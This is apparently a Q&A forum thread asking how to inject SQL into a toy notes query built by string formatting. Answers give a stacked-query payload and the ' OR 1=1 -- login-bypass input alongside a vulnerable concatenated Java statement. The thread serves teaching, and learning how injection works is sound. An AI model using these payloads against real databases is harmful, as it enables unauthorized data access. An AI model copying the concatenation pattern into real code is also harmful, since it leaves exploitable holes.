How to implement SQL injection - sql

Question

Suppose you have the following SQL Query to create a table called notes and store data in it :
CREATE TABLE notes (
id INTEGER PRIMARY KEY,
username TEXT,
token TEXT,
text TEXT
);
INSERT INTO notes (username, token, text) VALUES ('alice', 'token-a', 'Reminder: buy milk');
INSERT INTO notes (username, token, text) VALUES ('alice', 'token-a', 'I like Bob');
INSERT INTO notes (username, token, text) VALUES ('bob', 'token-b', 'TODO: write tests');
Now to attempt SQL injection to get all alice's notes without knowing her token where the query to get the data is given as :
'''SELECT text
FROM notes
WHERE token = '%s'
''' % token
What should be the text send in the variable token so as to perform SQL injection and get all alice's notes.

Answer 1

Try Something like this-
';SELECT text
FROM notes
WHERE username = 'alice

Answer 2

SQL Injection can be implemented by concatenating the SQL statement with the input parameters. For example, the following statement is vulnerable to SQL Injection:
String statement = "SELECT ID FROM USERS WHERE USERNAME = '" + inputUsername + "' AND PASSWORD = '" + hashedPassword + "'";
An attacker would enter a username like this:
' OR 1=1 Limit 1; --
Thus, the executed statement will be:
SELECT ID FROM USERS WHERE USERNAME = '' OR 1=1 Limit 1; --' AND PASSWORD = 'Blob'
Hence, the password part is commented, and the database engine would return any arbitrary result which will be acceptable by the application.
I found this nice explanation on the free preview of "Introduction to Cybersecurity for Software Developers" course.
https://www.udemy.com/course/cybersecurity-for-developers-1/
It also explains how to prevent SQL Injection.